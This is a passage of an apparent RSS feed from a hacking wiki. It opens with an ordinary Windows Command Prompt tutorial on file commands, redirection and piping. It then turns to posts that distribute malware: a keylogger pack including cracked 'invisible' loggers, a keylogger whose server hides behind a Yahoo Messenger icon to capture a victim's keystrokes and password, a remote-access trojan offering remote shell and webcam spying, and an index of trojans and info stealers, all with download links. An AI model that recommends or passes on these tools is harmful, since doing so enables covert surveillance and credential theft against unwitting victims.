processing of a batch file&lt;br&gt;TITLE Set the window title for a CMD.EXE session&lt;br&gt;TOUCH Change file timestamps&lt;br&gt;TRACERT Trace route to a remote host&lt;br&gt;TREE Graphical display of folder structure&lt;br&gt;TYPE Display the contents of a text file&lt;br&gt;____________________________________________&lt;br&gt;USRSTAT List domain usernames and last login&lt;br&gt;____________________________________________&lt;br&gt;VER Display version information&lt;br&gt;VERIFY Verify that files have been saved&lt;br&gt;VOL Display a disk label&lt;br&gt;____________________________________________&lt;br&gt;WHERE Locate and display files in a directory tree&lt;br&gt;WHOAMI Output the current UserName and domain&lt;br&gt;WINDIFF Compare the contents of two files or sets of files&lt;br&gt;WINMSD Windows system diagnostics&lt;br&gt;WINMSDP Windows system diagnostics II&lt;br&gt;WMIC WMI Commands&lt;br&gt;____________________________________________&lt;br&gt;XCACLS Change file permissions&lt;br&gt;XCOPY Copy files and folders&lt;br&gt;&lt;br&gt;&lt;br&gt;Command Prompt Basics&lt;br&gt;_________________________&lt;br&gt;------------------------&lt;br&gt;&lt;br&gt;When you are working in Command Prompt, there are a couple of things that usually work:&lt;br&gt;&lt;br&gt;Many of the commands will have extra options available, known as switches. They are added to the command by entering a &amp;quot;/&amp;quot; then a letter, number or word. These can change how the tool works or handles the information. A common switch would be the help command, which will also give you information on the other switches available.&lt;br&gt;&lt;br&gt;&amp;lt;command&amp;gt; /?&lt;br&gt;This would usually brings up information and about the command and the available switches. If it doesn&amp;#39;t work, try &amp;quot;-?&amp;quot; after the command instead.&lt;br&gt;&lt;br&gt;&amp;lt;command&amp;gt; &amp;gt; &amp;lt;filename&amp;gt;.txt&lt;br&gt;This will send the results of the command to a text file instead of the screen. You can include switches as well. This is particularly useful if you are looking at the help information for a command. Look at this example command:&lt;br&gt;&lt;br&gt;xcopy /? &amp;gt;c:\xcopy.txt&lt;br&gt;&lt;br&gt;This writes the content of the help command to a file called xcopy.txt located in the root of the C:\ drive.&lt;br&gt;&lt;br&gt;CLS&lt;br&gt;If you have lots of text in your Command Prompt window, this command will clear it. &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Working with Files and Directories&lt;br&gt;__________________________&lt;br&gt;----------------------&lt;br&gt;&lt;br&gt;&lt;br&gt;You can also use Command Prompt commands to organize files into a directory hierarchy. These commands are equivalent to corresponding commands that you access via the Windows point-and-click interface. It is useful to be familiar with both interfaces for managing files.&lt;br&gt;&lt;br&gt; * dir: To view the contents of a directory, type dir. This command will list all the files and directories within the current directory. It is analogous to clicking on a Windows folder to see what&amp;#39;s inside.&lt;br&gt;&lt;br&gt; C:\&amp;gt; dir&lt;br&gt; Volume in drive C has no label.&lt;br&gt; Volume Serial Number is C8C7-BDCD&lt;br&gt;&lt;br&gt; Directory of C:\&lt;br&gt;&lt;br&gt; 10/26/2004 01:36 PM 0 AUTOEXEC.BAT&lt;br&gt; 10/26/2004 01:36 PM 0 CONFIG.SYS&lt;br&gt; 02/10/2005 01:36 PM 126 HelloWorld.java&lt;br&gt; 12/09/2004 12:11 AM DIR Documents and Settings&lt;br&gt; 02/10/2005 08:59 PM DIR introcs&lt;br&gt; 11/02/2004 08:31 PM DIR j2sdk1.4.2_06&lt;br&gt; 12/29/2004 07:15 PM DIR Program Files&lt;br&gt; 01/13/2005 07:33 AM DIR WINDOWS&lt;br&gt; 3 File(s) 126 bytes&lt;br&gt; 5 Dir(s) 32,551,940,096 bytes free &lt;br&gt;&lt;br&gt; There are 7 items in this directory. Some of them are files, like HelloWorld.java. Others are directories, like introcs.&lt;br&gt;&lt;br&gt; * cd: It is frequently useful to know in which directory you are currently working. In order to find out, type cd at the command prompt.&lt;br&gt;&lt;br&gt; C:\&amp;gt; cd&lt;br&gt; C:\&lt;br&gt;&lt;br&gt; To change directories, use the cd command with the name of a directory.&lt;br&gt;&lt;br&gt; C:\&amp;gt; cd introcs&lt;br&gt;&lt;br&gt; Now, the command prompt will be:&lt;br&gt;&lt;br&gt; C:\introcs&amp;gt; &lt;br&gt;&lt;br&gt; To see what is in this directory type:&lt;br&gt;&lt;br&gt; C:\introcs&amp;gt; dir &lt;br&gt; Volume in drive C has no label.&lt;br&gt; Volume Serial Number is C8C7-BDCD&lt;br&gt;&lt;br&gt; Directory of C:\introcs&lt;br&gt;&lt;br&gt; 02/10/2005 08:59 PM DIR .&lt;br&gt; 02/10/2005 08:59 PM DIR ..&lt;br&gt; 02/03/2005 11:53 PM 126 HelloWorld.java&lt;br&gt; 01/17/2005 01:16 AM 256 readme.txt&lt;br&gt; 2 File(s) 382 bytes &lt;br&gt; 2 Dir(s)&lt;br&gt;&lt;br&gt; To return to the previous directory, use the cd command, but this time followed by a space and two periods.&lt;br&gt;&lt;br&gt; C:\introcs&amp;gt; cd ..&lt;br&gt; C:\&amp;gt; &lt;br&gt;&lt;br&gt; * mkdir: To create a new directory, use the command mkdir. The following command creates a directory named hello, which you can use to to store all of your files associated with the Hello World assignment.&lt;br&gt;&lt;br&gt; C:\introcs&amp;gt; mkdir hello&lt;br&gt;&lt;br&gt; To see that it actually worked, use the dir command.&lt;br&gt;&lt;br&gt; C:\introcs&amp;gt; dir &lt;br&gt; Volume in drive C has no label.&lt;br&gt; Volume Serial Number is C8C7-BDCD&lt;br&gt;&lt;br&gt; Directory of C:\introcs&lt;br&gt;&lt;br&gt; 02/10/2005 08:59 PM DIR .&lt;br&gt; 02/10/2005 08:59 PM DIR ..&lt;br&gt; 02/11/2005 02:53 PM DIR hello&lt;br&gt; 02/03/2005 11:53 PM 126 HelloWorld.java&lt;br&gt; 01/17/2005 01:16 AM 256 readme.txt&lt;br&gt; 2 File(s) 382 bytes&lt;br&gt; 3 Dir(s)&lt;br&gt;&lt;br&gt; * move: Now, move the two files HelloWorld.java and readme.txt into the hello directory using the move command.&lt;br&gt;&lt;br&gt; C:\introcs&amp;gt; move HelloWorld.java hello&lt;br&gt; C:\introcs&amp;gt; move readme.txt hello&lt;br&gt; C:\introcs&amp;gt; dir&lt;br&gt; Volume in drive C has no label.&lt;br&gt; Volume Serial Number is C8C7-BDCD&lt;br&gt;&lt;br&gt; Directory of C:\introcs&lt;br&gt;&lt;br&gt; 02/10/2005 08:59 PM DIR .&lt;br&gt; 02/10/2005 08:59 PM DIR ..&lt;br&gt; 02/11/2005 02:53 PM DIR hello&lt;br&gt; 0 File(s) 0 bytes&lt;br&gt; 3 Dir(s)&lt;br&gt;&lt;br&gt; The two files are no longer visible from the current directory.&lt;br&gt;&lt;br&gt; To access the two files, change directories with the cd command. Then use the dir command to see what is in this new directory.&lt;br&gt;&lt;br&gt; C:\introcs&amp;gt; cd hello&lt;br&gt; C:\introcs\hello&amp;gt; dir&lt;br&gt; Volume in drive C has no label.&lt;br&gt; Volume Serial Number is C8C7-BDCD&lt;br&gt;&lt;br&gt; Directory of C:\introcs\hello&lt;br&gt;&lt;br&gt; 02/10/2005 08:59 PM DIR .&lt;br&gt; 02/10/2005 08:59 PM DIR ..&lt;br&gt; 02/03/2005 11:53 PM 126 HelloWorld.java&lt;br&gt; 01/17/2005 01:16 AM 256 readme.txt&lt;br&gt; 2 File(s) 382 bytes&lt;br&gt; 2 Dir(s)&lt;br&gt;&lt;br&gt; You can also use move to rename a file. Simply specify a new filename instead of a directory name. Suppose you accidentally messed up the upper and lower case and had saved HelloWorld.java as helloworld.java. Use two move commands to fix it.&lt;br&gt;&lt;br&gt; C:\introcs\hello&amp;gt; dir&lt;br&gt; Volume in drive C has no label.&lt;br&gt; Volume Serial Number is C8C7-BDCD&lt;br&gt;&lt;br&gt; Directory of C:\introcs\hello&lt;br&gt;&lt;br&gt; 02/10/2005 08:59 PM DIR .&lt;br&gt; 02/10/2005 08:59 PM DIR ..&lt;br&gt; 02/03/2005 11:53 PM 126 helloworld.java&lt;br&gt; 01/17/2005 01:16 AM 256 readme.txt&lt;br&gt; 2 File(s) 382 bytes&lt;br&gt; 2 Dir(s)&lt;br&gt;&lt;br&gt; C:\introcs\hello&amp;gt; move helloworld.java temp.java&lt;br&gt; C:\introcs\hello&amp;gt; move temp.java HelloWorld.java&lt;br&gt; C:\introcs\hello&amp;gt; dir&lt;br&gt; Volume in drive C has no label.&lt;br&gt; Volume Serial Number is C8C7-BDCD&lt;br&gt;&lt;br&gt; Directory of C:\introcs\hello&lt;br&gt;&lt;br&gt; 02/10/2005 08:59 PM DIR .&lt;br&gt; 02/10/2005 08:59 PM DIR ..&lt;br&gt; 02/03/2005 11:53 PM 126 HelloWorld.java&lt;br&gt; 01/17/2005 01:16 AM 256 readme.txt&lt;br&gt; 2 File(s) 382 bytes&lt;br&gt; 2 Dir(s)&lt;br&gt;&lt;br&gt;&lt;br&gt; It takes two moves because Windows won&amp;#39;t let you move to an already existing filename and, to Windows, helloworld.java is the same as HelloWorld.java.&lt;br&gt;&lt;br&gt; * copy: To make a copy of a file, use the copy command. The following command creates a backup copy of our HelloWorld.java program. This is especially useful when you modify a working program, but might want to revert back to the original version if your modifications don&amp;#39;t succeed. &lt;br&gt;&lt;br&gt; C:\introcs\hello&amp;gt; copy HelloWorld.java HelloWorld.bak&lt;br&gt; C:\introcs\hello&amp;gt; dir &lt;br&gt; Volume in drive C has no label.&lt;br&gt; Volume Serial Number is C8C7-BDCD&lt;br&gt;&lt;br&gt; Directory of C:\introcs\hello&lt;br&gt;&lt;br&gt; 02/10/2005 08:59 PM DIR .&lt;br&gt; 02/10/2005 08:59 PM DIR ..&lt;br&gt; 02/03/2005 11:53 PM 126 HelloWorld.java&lt;br&gt; 01/17/2005 01:16 AM 256 readme.txt&lt;br&gt; 2 File(s) 382 bytes&lt;br&gt; 3 Dir(s)&lt;br&gt;&lt;br&gt; * del: Subsequently, you might want to clean up useless files. The del command deletes a file. &lt;br&gt;&lt;br&gt; C:\introcs\hello&amp;gt; del HelloWorld.bak&lt;br&gt; C:\introcs\hello&amp;gt; dir &lt;br&gt; Volume in drive C has no label.&lt;br&gt; Volume Serial Number is C8C7-BDCD&lt;br&gt;&lt;br&gt; Directory of C:\introcs&lt;br&gt;&lt;br&gt; 02/10/2005 08:59 PM DIR .&lt;br&gt; 02/10/2005 08:59 PM DIR ..&lt;br&gt; 02/03/2005 11:53 PM 126 HelloWorld.java&lt;br&gt; 01/17/2005 01:16 AM 256 readme.txt&lt;br&gt; 2 File(s) 382 bytes&lt;br&gt; 3 Dir(s)&lt;br&gt;&lt;br&gt; WARNING: When you revise a file in jEdit, the jEdit program will automatically save a backup copy of your original file in the same directory. The name of the backup file will be the name of the original file with a ~ at the end. When you submit your program be careful to submit HelloWorld.java and not HelloWorld.java~ which is an old version of the file and has the wrong name.&lt;br&gt; * wildcards: You can also apply the copy, del, and move commands to several files (or directories) at once. To create a new directory called loops, and copy all of the files in the hello directory C:\introcs\hello\ into this newly created directory type:&lt;br&gt;&lt;br&gt; C:\introcs&amp;gt; mkdir loops&lt;br&gt; C:\introcs&amp;gt; copy c:\introcs\hello\* loops&lt;br&gt;&lt;br&gt; Here the * matches all files in the C:\introcs\hello directory. It copies them to your newly created loops directory. &lt;br&gt;&lt;br&gt;Redirection&lt;br&gt;____________&lt;br&gt;---------&lt;br&gt;&lt;br&gt;Two important abstractions in Command Prompt are standard input and standard output. By default standard input is your keyboard, and standard output is your computer screen. For example, in Assignment 1, we write a program CenterofMass.java that reads input using StdIn.java and writes output using System.out.println(). To run our program, the user types the command &amp;quot;java CenterofMass&amp;quot; and enters double type values in triplets: xposition yposition mass from the keyboard. The results appear in the terminal window.&lt;br&gt;&lt;br&gt; C:\introcs\loops&amp;gt; java CenterofMass&lt;br&gt; 0 0 10&lt;br&gt; 1 1 10&lt;br&gt; 0.5 0.5 20&lt;br&gt;&lt;br&gt; * Redirecting standard input. As an alternative, we can create a file that consists of the same six input numbers. Using a text editor (like jEdit), create a file named input.txt, and type in the six numbers. After saving the file in the loops directory, type the following command to verify that you entered the integers correctly:&lt;br&gt;&lt;br&gt; C:\introcs\loops&amp;gt; more input.txt&lt;br&gt; 0 0 10&lt;br&gt; 1 1 10&lt;br&gt;&lt;br&gt; Then to read the integers from the file instead of the keyboard, we use the redirection symbol &amp;quot;&amp;lt;&amp;quot;.&lt;br&gt;&lt;br&gt; C:\introcs\loops&amp;gt; java CenterofMass &amp;lt; input.txt&lt;br&gt; 0.5 0.5 20&lt;br&gt;&lt;br&gt; This produces exactly the same result as if the user had typed the numbers, except that the user has no opportunity to enter numbers from the keyboard. This is especially useful for two reasons. First, if there are lots of input values (there are over 700 inputs for Assignment 2) it would be tedious to retype them in each time we run our program. Second, it allows programs to be automated, without waiting for user interaction. This means that your grader can process your homework programs without typing in the input values by hand each time.&lt;br&gt; * Redirecting standard output. Similarly it is possible to redirect the output to a file instead of to the screen. Continuing with the same example, if we want to save the output permanently, we can use the output redirection symbol &amp;#39;&amp;gt;&amp;#39;. &lt;br&gt;&lt;br&gt; C:\introcs\loops&amp;gt; java CenterofMass &amp;gt; output.txt&lt;br&gt; 0 0 10&lt;br&gt; 1 1 10&lt;br&gt;&lt;br&gt; The user still types in the input values from the keyboard, but instead of sending the output to the screen, it is sent to the file named output.txt. Note that all printf output is sent to the file, even the statement that tells the user what to do. Be careful, if the file output.txt already exists, it will be overwritten. (To append use &amp;#39;&amp;gt;&amp;gt;&amp;#39; instead.)&lt;br&gt;&lt;br&gt; phoenix.Princeton.EDU% more output.txt&lt;br&gt;&lt;br&gt; * Redirecting standard input and standard output. It is often useful to use both redirection operations simultaneously.&lt;br&gt;&lt;br&gt; C:\introcs\loops&amp;gt; java CenterofMass &amp;lt; input.txt &amp;gt; output2.txt &lt;br&gt;&lt;br&gt; After executing this command, no output appears on the screen, but the file output2.txt now contains exactly the same data as output.txt above. &lt;br&gt;&lt;br&gt;&lt;br&gt;Piping&lt;br&gt;_______&lt;br&gt;-----&lt;br&gt;&lt;br&gt;Another useful abstraction is piping. Piping is when the output of one program is used as the input of another program. For example, suppose we want to view the output of a program, but there is so much that it whizzes by on the screen too fast to read. (The program RandInts.java prints out a bunch of random integers.) One possible way to accomplish this is to type the following two commands.&lt;br&gt;&lt;br&gt; C:\introcs&amp;gt; java RandInts &amp;gt; temp.txt&lt;br&gt; C:\introcs&amp;gt; more &amp;lt; temp.txt&lt;br&gt;&lt;br&gt;Note that more will work by redirecting the file temp.txt to standard input (as is done here) or by simply using the filename (as is done at the beginning of the document). Instead, we could do this in one line using the pipe symbol &amp;#39;|&amp;#39;&lt;br&gt;&lt;br&gt; C:\introcs&amp;gt; java RandInts | more&lt;br&gt;&lt;br&gt;This is often useful when debugging a program, especially if your program goes into an infinite loop and you want to see the first few values that it prints&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Keylogger pack</title><link>http://blacklibrary.wetpaint.com/page/Keylogger+pack</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Keylogger+pack</guid><pubDate>Wed, 18 Feb 2009 23:31:42 CST</pubDate><description>Keyloggers Pack&lt;br&gt; &lt;br&gt; -Activity Keylogger v1.0&lt;br&gt; -Advanced Invisible Keylogger 1.5 Full&lt;br&gt; -Aplus&lt;br&gt; -Barok 1.0&lt;br&gt; -Chota&lt;br&gt; -Computer Spy&lt;br&gt; -Curiosity&lt;br&gt; -CYBERSHOK 1.0 Private&lt;br&gt; -DK2Full&lt;br&gt; -ehks 2.2&lt;br&gt; -Elite Keylogger 1.0&lt;br&gt; -EyeSpy&lt;br&gt; -Fearless Key Spy 2.0&lt;br&gt; -FSK 2.0&lt;br&gt; -KeyLog 2.5&lt;br&gt; -Keylogger&lt;br&gt; -KGB KeySpy 2.0 Private Xmas Edition&lt;br&gt; -Metakodix Stealth Keylogger 1.1.0 Cracked&lt;br&gt; -MSGate 0.1&lt;br&gt; -Phantom 2&lt;br&gt; -Phoenix&lt;br&gt; -Power Spy 5.5.2&lt;br&gt; -Project Satan 1.1&lt;br&gt; -RemoteLogger v1.0&lt;br&gt; -SC-KeyLog 2&lt;br&gt; -SKL 0.1&lt;br&gt; -skl0g&lt;br&gt; -Spy&lt;br&gt; -Spytector 1.3.1&lt;br&gt; -Tong KeyLogger&lt;br&gt; -YSK KeyLog&lt;br&gt; &lt;br&gt; Download:&lt;br&gt;http://rapidshare.com/files/38855413/Keyloggers.rar&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Digital Keylogger v2.0</title><link>http://blacklibrary.wetpaint.com/page/Digital+Keylogger+v2.0</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Digital+Keylogger+v2.0</guid><pubDate>Wed, 18 Feb 2009 23:29:30 CST</pubDate><description>Digital Keylogger v2.0&lt;br&gt; &lt;br&gt;  &lt;br&gt; &lt;br&gt; Client size : 508 KB &lt;br&gt; Server Size : 159 KB &lt;br&gt; Server copy : system32\plm.exe &lt;br&gt; &lt;br&gt; Server : &lt;br&gt; Run at Startup . &lt;br&gt; Doesn&amp;#39;t disable the Task Manager . &lt;br&gt; Captures all pressed Keys . &lt;br&gt; Icon : Yahoo Messenger . &lt;br&gt; &lt;br&gt; It doesn&amp;#39;t give you the Window&amp;#39;s names . &lt;br&gt; &lt;br&gt; Client : &lt;br&gt; Get captured Keys from server . &lt;br&gt; You need the victim&amp;#39;s IP . &lt;br&gt; Very easy to use . &lt;br&gt; You can close Victim&amp;#39;s Y! Messenger to &lt;br&gt; get his password . &lt;br&gt; &lt;br&gt; Missing file error ? Copy OCX files in &lt;br&gt; your system32 folder . &lt;br&gt; &lt;br&gt; New features : &lt;br&gt; &lt;br&gt; 1) Use Backspace : You select if you want &lt;br&gt; to see if your victim press Backspace , or &lt;br&gt; not . If you select Yes , if victim press &lt;br&gt; Backspace , i\the server will delete a &lt;br&gt; char from keylog , and if the victim&amp;#39;s hold &lt;br&gt; Backspace , you&amp;#39;ll lose all keylog . Else , &lt;br&gt; if you select No , you&amp;#39;ll don&amp;#39;t know when &lt;br&gt; the victim press Backspace button . &lt;br&gt; &lt;br&gt; 2) Add to Sys Tray : Now you can add the &lt;br&gt; Client in your system tray . To restore , &lt;br&gt; just move mouse over the icon from tray . &lt;br&gt; &lt;br&gt; Download:&lt;br&gt;http://uppit.com/KJQ8K9&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Turkojan 4.0</title><link>http://blacklibrary.wetpaint.com/page/Turkojan+4.0</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Turkojan+4.0</guid><pubDate>Wed, 18 Feb 2009 23:28:25 CST</pubDate><description> 			 What is Turkojan ?&lt;br&gt;-----------------------&lt;br&gt;Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.You can use Turkojan for manage computers,employee monitoring and child monitoring...&lt;br&gt;Features :&lt;br&gt;------------Reverse Connection &lt;br&gt;Remote Desktop(very fast) &lt;br&gt;Webcam Streaming(very fast) &lt;br&gt;Audio Streaming &lt;br&gt;Thumbnail viewerRemote passwords &lt;br&gt;MSN Sniffer &lt;br&gt;Remote Shell &lt;br&gt;Web-Site BlockingChat with server &lt;br&gt;Send fake messages &lt;br&gt;Advanced file manager &lt;br&gt;Zipping files&amp;amp;folders &lt;br&gt;Find files &lt;br&gt;Change remote screen resolution &lt;br&gt;Mouse manager &lt;br&gt;Information about remote computer &lt;br&gt;Clipboard manager &lt;br&gt;IE options &lt;br&gt;Running Process &lt;br&gt;Service Manager &lt;br&gt;Keyboard Manager &lt;br&gt;Online keylogger &lt;br&gt;Offline keylogger &lt;br&gt;Fun Menu &lt;br&gt;Registry manager &lt;br&gt;Invisible in Searching Files/Regedit/Msconfig&lt;br&gt;Small Server (100kb)&lt;br&gt;&lt;a class=&quot;external&quot; href=&quot;http://blacklibrary.wetpaint.comhttp://www.turkojan.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.turkojan.com/&lt;/a&gt;      &lt;a class=&quot;external&quot; href=&quot;http://blacklibrary.wetpaint.comhttp://www.turkojan.com/sayac/click.php?id=10&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Download&lt;/a&gt; &lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Tools</title><link>http://blacklibrary.wetpaint.com/page/Tools</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Tools</guid><pubDate>Wed, 18 Feb 2009 23:20:05 CST</pubDate><description> 			Need the tools to hack? Find everything here!&lt;br&gt;&lt;br&gt;Msn Archive:&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Msn+Grabber&quot; target=&quot;_self&quot;&gt;Msn Grabber&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Msn+Locker+BETA&quot; target=&quot;_self&quot;&gt;Msn Locker BETA&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;KeyLogger Archive:&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Reh+Team+Keylogger+v1.0&quot; target=&quot;_self&quot;&gt;Reh Team Keylogger v1.0&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Digital+Keylogger+v2.0&quot; target=&quot;_self&quot;&gt;Digital Keylogger v2.0&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Keylogger+pack&quot; target=&quot;_self&quot;&gt;Keylogger Pack&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Trojan Archive:&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Turkojan+4.0&quot; target=&quot;_self&quot;&gt;Turkojan 4.0&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Little+info+Stealer+v2.5&quot; target=&quot;_self&quot;&gt;Little Info Stealer v2.5&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Pro+Rat+v2.0&quot; target=&quot;_self&quot;&gt;Pro Rat v2.0&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item></channel></rss>